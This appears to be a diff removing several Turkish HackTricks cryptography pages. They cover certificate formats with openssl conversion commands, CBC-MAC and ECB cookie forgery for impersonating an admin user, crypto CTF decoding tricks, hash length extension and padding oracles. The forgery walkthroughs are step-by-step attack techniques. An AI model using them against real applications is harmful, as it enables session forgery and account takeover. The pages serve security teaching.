**OCSP** (**RFC 2560**), bir istemci ve bir yanıtlayıcının, tam **CRL** indirmeye gerek kalmadan dijital kamu anahtar sertifikasının iptal edilip edilmediğini kontrol etmek için birlikte çalışmasını içerir. Bu yöntem, iptal edilen sertifika seri numaralarının bir listesini sağlayan ancak potansiyel olarak büyük bir dosyanın indirilmesini gerektiren geleneksel **CRL**'den daha verimlidir. CRL'ler en fazla 512 giriş içerebilir. Daha fazla ayrıntı [burada](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) mevcuttur.
### **Sertifika Şeffaflığı Nedir**
Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan adı sahipleri, CA'lar ve kullanıcılar tarafından görünür olmasını sağlayarak sertifika ile ilgili tehditlerle mücadele etmeye yardımcı olur. Hedefleri şunlardır:
- CA'ların, alan adı sahibinin bilgisi olmadan bir alan için SSL sertifikası vermesini önlemek.
- Yanlış veya kötü niyetle verilmiş sertifikaların izlenmesi için açık bir denetim sistemi kurmak.
- Kullanıcıları sahte sertifikalardan korumak.
#### **Sertifika Kayıtları**
Sertifika kayıtları, ağ hizmetleri tarafından tutulan, kamuya açık denetlenebilir, yalnızca ekleme yapılabilen sertifika kayıtlarıdır. Bu kayıtlar, denetim amaçları için kriptografik kanıtlar sağlar. Hem verme otoriteleri hem de kamu, bu kayıtlara sertifika gönderebilir veya doğrulama için sorgulayabilir. Kayıt sunucularının kesin sayısı sabit olmamakla birlikte, dünya genelinde binin altında olması beklenmektedir. Bu sunucular, CA'lar, ISP'ler veya herhangi bir ilgilenen kuruluş tarafından bağımsız olarak yönetilebilir.
#### **Sorgu**
Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin.
Sertifikaları depolamak için farklı formatlar mevcuttur, her birinin kendi kullanım durumları ve uyumluluğu vardır. Bu özet, ana formatları kapsar ve bunlar arasında dönüştürme konusunda rehberlik sağlar.
## **Formatlar**
### **PEM Formatı**
- Sertifikalar için en yaygın kullanılan formattır.
- Sertifikalar ve özel anahtarlar için ayrı dosyalar gerektirir, Base64 ASCII ile kodlanmıştır.
- Yaygın uzantılar: .cer, .crt, .pem, .key.
- Öncelikle Apache ve benzeri sunucular tarafından kullanılır.
### **DER Formatı**
- Sertifikaların ikili formatıdır.
- PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez.
- Yaygın uzantılar: .cer, .der.
- Genellikle Java platformları ile kullanılır.
### **P7B/PKCS#7 Formatı**
- Base64 ASCII formatında depolanır, uzantıları .p7b veya .p7c'dir.
- Sadece sertifikaları ve zincir sertifikalarını içerir, özel anahtarı hariç tutar.
- Microsoft Windows ve Java Tomcat tarafından desteklenir.
### **PFX/P12/PKCS#12 Formatı**
- Sunucu sertifikalarını, ara sertifikaları ve özel anahtarları tek bir dosyada kapsayan ikili bir formattır.
- Uzantılar: .pfx, .p12.
- Sertifika içe aktarma ve dışa aktarma için genellikle Windows'ta kullanılır.
### **Format Dönüştürme**
**PEM dönüşümleri**, uyumluluk için gereklidir:
- **x509'dan PEM'e**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM'den DER'e**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER'den PEM'e**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM'den P7B'ye**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7'den PEM'e**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX dönüşümleri**, Windows'ta sertifikaları yönetmek için çok önemlidir:
- **PFX'ten PEM'e**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX'ten PKCS#8'e** iki adım içerir:
1. PFX'i PEM'e dönüştür
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. PEM'i PKCS8'e Dönüştür
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B'den PFX'e** geçmek için de iki komut gereklidir:
1. P7B'yi CER'e dönüştür
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. CER ve Özel Anahtarı PFX'e Dönüştür
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
---
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,55 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# CBC
Eğer **cookie** **sadece** **kullanıcı adı** ise (veya cookie'nin ilk kısmı kullanıcı adıysa) ve "**admin**" kullanıcı adını taklit etmek istiyorsanız. O zaman **"bdmin"** kullanıcı adını oluşturabilir ve **cookie'nin ilk baytını** **bruteforce** edebilirsiniz.
# CBC-MAC
**Şifre blok zinciri mesaj kimlik doğrulama kodu** (**CBC-MAC**), kriptografide kullanılan bir yöntemdir. Bu yöntem, bir mesajı alıp blok blok şifreleyerek çalışır; her bloğun şifrelemesi, bir önceki bloğa bağlıdır. Bu süreç, **blokların bir zincirini** oluşturur ve orijinal mesajın tek bir bitini değiştirmek bile, şifrelenmiş verinin son bloğunda öngörülemeyen bir değişikliğe yol açar. Böyle bir değişikliği yapmak veya geri almak için şifreleme anahtarı gereklidir, bu da güvenliği sağlar.
Mesaj m'nin CBC-MAC'ını hesaplamak için, m'yi sıfır başlangıç vektörü ile CBC modunda şifreler ve son bloğu saklarsınız. Aşağıdaki şekil, bir dizi bloktan oluşan bir mesajın CBC-MAC'ının hesaplanmasını tasvir etmektedir![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) gizli anahtar k ve bir blok şifre E kullanarak:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Açıklık
CBC-MAC ile genellikle **kullanılan IV 0'dır**.\
Bu bir sorun çünkü 2 bilinen mesaj (`m1` ve `m2`) bağımsız olarak 2 imza (`s1` ve `s2`) üretecektir. Yani:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Sonra m1 ve m2'nin birleştirilmesiyle oluşan bir mesaj (m3) 2 imza (s31 ve s32) üretecektir:
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Bu, şifreleme anahtarını bilmeden hesaplanabilir.**
**Administrator** ismini **8bayt** bloklarda şifrelediğinizi hayal edin:
- `Administ`
- `rator\00\00\00`
**Administ** (m1) adında bir kullanıcı adı oluşturabilir ve imzayı (s1) alabilirsiniz.\
Sonra, `rator\00\00\00 XOR s1` sonucunu kullanarak bir kullanıcı adı oluşturabilirsiniz. Bu, `E(m2 XOR s1 XOR 0)` üretecektir ki bu da s32'dir.\
Artık s32'yi **Administrator** tam adı için imza olarak kullanabilirsiniz.
### Özet
1. **Administ** (m1) kullanıcı adının imzasını alın, bu s1'dir.
2. **rator\x00\x00\x00 XOR s1 XOR 0** kullanıcı adının imzasını alın, bu s32'dir.
3. Cookie'yi s32 olarak ayarlayın ve bu, **Administrator** kullanıcısı için geçerli bir cookie olacaktır.
# IV'yi Kontrol Etme Saldırısı
Kullanılan IV'yi kontrol edebiliyorsanız, saldırı çok kolay olabilir.\
Eğer cookie sadece şifrelenmiş kullanıcı adıysa, "**administrator**" kullanıcısını taklit etmek için "**Administrator**" kullanıcısını oluşturabilir ve onun cookie'sini alabilirsiniz.\
Şimdi, eğer IV'yi kontrol edebiliyorsanız, IV'nin ilk baytını değiştirebilirsiniz, böylece **IV\[0] XOR "A" == IV'\[0] XOR "a"** olur ve **Administrator** kullanıcısı için cookie'yi yeniden oluşturabilirsiniz. Bu cookie, başlangıç **IV** ile **administrator** kullanıcısını taklit etmek için geçerli olacaktır.
## Referanslar
Daha fazla bilgi için [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,269 +0,0 @@
# Crypto CTFs Tricks
{{#include ../banners/hacktricks-training.md}}
## Online Hashes DBs
- _**Google'la arayın**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
- [https://md5decrypt.net/](https://md5decrypt.net)
- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
- [https://gpuhash.me/](https://gpuhash.me)
- [https://hashes.org/search.php](https://hashes.org/search.php)
- [https://www.cmd5.org/](https://www.cmd5.org)
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## Magic Autosolvers
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic modülü)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## Encoders
Kodlanmış verilerin çoğu bu 2 kaynakla çözülebilir:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### Substitution Autosolvers
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Çok iyi!
#### Caesar - ROTx Autosolvers
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### Atbash Cipher
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### Base Encodings Autosolver
Tüm bu tabanları kontrol edin: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Ölü: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Ölü: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Ölü: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak klavye
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Harflerin sayısal değeri
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Affine Cipher Encode
Harfı numaraya `(ax+b)%26` (_a_ ve _b_ anahtarlar ve _x_ harf) ve sonucu tekrar harfe çevirin.
```
krodfdudfrod
```
### SMS Kodu
**Multitap** [bir harfi](https://www.dcode.fr/word-letter-change) mobil [telefon tuş takımı](https://www.dcode.fr/phone-keypad-cipher) üzerindeki karşılık gelen tuş kodu ile tanımlanan tekrar eden rakamlarla değiştirir (Bu mod SMS yazarken kullanılır).\
Örneğin: 2=A, 22=B, 222=C, 3=D...\
Bu kodu tanıyabilirsiniz çünkü **birden fazla rakamın tekrarlandığını** göreceksiniz.
Bu kodu şurada çözebilirsiniz: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Kodu
Her harfi 4 A veya B (veya 1 ve 0) ile değiştirin.
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
![](../images/runes.jpg)
## Sıkıştırma
**Raw Deflate** ve **Raw Inflate** (her ikisini de Cyberchef'te bulabilirsiniz) başlık olmadan verileri sıkıştırabilir ve açabilir.
## Kolay Kripto
### XOR - Otomatik Çözücü
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### Bifid
Bir anahtar kelime gereklidir
```
fgaargaamnlunesuneoa
```
### Vigenere
Bir anahtar kelimeye ihtiyaç vardır
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Güçlü Kripto
### Fernet
2 base64 dizesi (token ve anahtar)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Gizli Paylaşımı
Bir gizli X parçaya bölünür ve onu geri almak için Y parçaya ihtiyacınız vardır (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Araçlar
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,68 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# ECB
(ECB) Elektronik Kod Kitabı - her **açık metin bloğunu** **şifreli metin bloğu ile** değiştiren simetrik şifreleme şemasıdır. Bu, en **basit** şifreleme şemasınıdır. Ana fikir, açık metni **N bitlik bloklara** **bölmek** (giriş verisinin blok boyutuna, şifreleme algoritmasına bağlıdır) ve ardından her açık metin bloğunu yalnızca bir anahtar kullanarak şifrelemektir (şifre çözmektir).
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
ECB kullanmanın birçok güvenlik etkisi vardır:
- **Şifreli mesajdan bloklar çıkarılabilir**
- **Şifreli mesajdan bloklar yer değiştirebilir**
# Zafiyetin Tespiti
Bir uygulamaya birkaç kez giriş yaptığınızı ve **her zaman aynı çerezi** aldığınızı hayal edin. Bunun nedeni, uygulamanın çerezinin **`<kullanıcı_adı>|<şifre>`** olmasıdır.\
Sonra, her ikisi de **aynı uzun şifreye** ve **neredeyse** **aynı** **kullanıcı adına** sahip yeni kullanıcılar oluşturursunuz.\
Her iki kullanıcının **bilgilerinin** aynı olduğu **8B'lik blokların** **eşit** olduğunu keşfedersiniz. Sonra, bunun **ECB'nin kullanılıyor olabileceği** nedeniyle olabileceğini hayal edersiniz.
Aşağıdaki örnekte olduğu gibi. Bu **2 çözülmüş çerezin** nasıl birkaç kez **`\x23U\xE45K\xCB\x21\xC8`** bloğunu içerdiğine dikkat edin.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
Bu, **bu çerezlerin kullanıcı adı ve şifresinin birkaç kez "a" harfini içermesinden** kaynaklanmaktadır (örneğin). **Farklı** olan **bloklar**, **en az 1 farklı karakter** içeren bloklardır (belki ayırıcı "|" veya kullanıcı adındaki bazı gerekli farklılık).
Şimdi, saldırganın formatın `<username><delimiter><password>` mi yoksa `<password><delimiter><username>` mi olduğunu keşfetmesi gerekiyor. Bunu yapmak için, sadece **benzer ve uzun kullanıcı adları ve şifreler ile birkaç kullanıcı adı oluşturabilir** ve formatı ve ayırıcının uzunluğunu bulana kadar devam edebilir:
| Kullanıcı adı uzunluğu: | Şifre uzunluğu: | Kullanıcı adı+Şifre uzunluğu: | Çerezin uzunluğu (çözüldükten sonra): |
| ----------------------- | ---------------- | ------------------------------ | ------------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Açığın istismarı
## Tüm blokları kaldırma
Çerezin formatını bilerek (`<username>|<password>`), `admin` kullanıcı adını taklit etmek için `aaaaaaaaadmin` adında yeni bir kullanıcı oluşturun ve çerezi alın ve çözün:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
Önceden yalnızca `a` içeren kullanıcı adıyla oluşturulan `\x23U\xE45K\xCB\x21\xC8` desenini görebiliriz.\
Ardından, 8B'nin ilk bloğunu kaldırabilir ve `admin` kullanıcı adı için geçerli bir çerez elde edersiniz:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Blokları Taşıma
Birçok veritabanında `WHERE username='admin';` veya `WHERE username='admin ';` aramak aynı şeydir _(Ekstra boşluklara dikkat edin)_
Bu nedenle, `admin` kullanıcısını taklit etmenin başka bir yolu:
- `len(<username>) + len(<delimiter) % len(block)` olan bir kullanıcı adı oluşturmak. `8B` blok boyutuyla, `username ` adında bir kullanıcı adı oluşturabilirsiniz; ayırıcı olarak `|` kullanıldığında `<username><delimiter>` parçası 2 adet 8B blok oluşturacaktır.
- Ardından, taklit etmek istediğimiz kullanıcı adını ve boşlukları içeren tam sayıda blok dolduracak bir şifre oluşturmak, örneğin: `admin `
Bu kullanıcının çerezi 3 bloktan oluşacak: ilk 2 blok kullanıcı adı + ayırıcı blokları ve üçüncü blok şifre (kullanıcı adını taklit eden): `username |admin `
**Sonra, sadece ilk bloğu son blokla değiştirin ve `admin` kullanıcısını taklit etmiş olacaksınız: `admin |username`**
## Referanslar
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,38 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# Saldırının Özeti
Bir sunucunun bazı bilinen açık metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hashlediğini düşünün. Eğer şunları biliyorsanız:
- **Gizlinin uzunluğu** (bu, belirli bir uzunluk aralığından da brute force ile elde edilebilir)
- **Açık metin verisi**
- **Algoritma (ve bu saldırıya karşı savunmasız)**
- **Padding biliniyor**
- Genellikle varsayılan bir padding kullanılır, bu nedenle diğer 3 gereklilik karşılandığında, bu da geçerlidir
- Padding, gizli+veri uzunluğuna bağlı olarak değişir, bu yüzden gizlinin uzunluğu gereklidir
O zaman, bir **saldırgan** **veri ekleyip** **önceki veri + eklenen veri** için geçerli bir **imza** **üretebilir**.
## Nasıl?
Temelde, savunmasız algoritmalar hash'leri önce bir **veri bloğunu hashleyerek** oluşturur ve ardından, **önceden** oluşturulmuş **hash** (durum) üzerinden **bir sonraki veri bloğunu ekleyip** **hashler**.
O zaman, gizli "secret" ve veri "data" ise, "secretdata"nın MD5'i 6036708eba0d11f6ef52ad44e8b74d5b'dir.\
Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir:
- 64 "A"nın MD5'ini oluştur
- Önceden başlatılmış hash'in durumunu 6036708eba0d11f6ef52ad44e8b74d5b olarak değiştir
- "append" dizesini ekle
- Hash'i tamamla ve sonuçta elde edilen hash, **"secret" + "data" + "padding" + "append"** için geçerli bir hash olacaktır
## **Araç**
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## Referanslar
Bu saldırıyı iyi bir şekilde açıklanmış olarak [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde bulabilirsiniz.
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,102 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
# CBC - Şifre Blok Zincirleme
CBC modunda **önceki şifreli blok IV olarak kullanılır** ve bir sonraki blokla XOR yapılır:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
CBC'yi deşifre etmek için **ters** **işlemler** yapılır:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Bir **şifreleme** **anahtarı** ve bir **IV** kullanmanın gerekli olduğunu unutmayın.
# Mesaj Doldurma
Şifreleme **sabit** **boyut** **blokları** içinde gerçekleştirildiğinden, **son** **blokta** uzunluğunu tamamlamak için genellikle **doldurma** gereklidir.\
Genellikle **PKCS7** kullanılır, bu da bloğu tamamlamak için **gerekli** **bayt** **sayısını** **tekrarlayarak** bir doldurma oluşturur. Örneğin, son blokta 3 bayt eksikse, doldurma `\x03\x03\x03` olacaktır.
**8 bayt uzunluğunda 2 blok** ile daha fazla örneğe bakalım:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Son örnekte **son bloğun dolu olduğunu ve sadece doldurma ile başka bir bloğun oluşturulduğunu** unutmayın.
# Doldurma Oracle'ı
Bir uygulama şifreli verileri deşifre ettiğinde, önce verileri deşifre eder; ardından doldurmayı kaldırır. Doldurmanın temizlenmesi sırasında, eğer **geçersiz bir doldurma tespit edilebilir bir davranış tetiklerse**, bir **doldurma oracle zafiyeti** vardır. Tespit edilebilir davranış bir **hata**, **sonuç eksikliği** veya **daha yavaş bir yanıt** olabilir.
Bu davranışı tespit ederseniz, **şifreli verileri deşifre edebilir** ve hatta **herhangi bir açık metni şifreleyebilirsiniz**.
## Nasıl istismar edilir
Bu tür bir zafiyeti istismar etmek için [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kullanabilir veya sadece yapabilirsiniz.
```
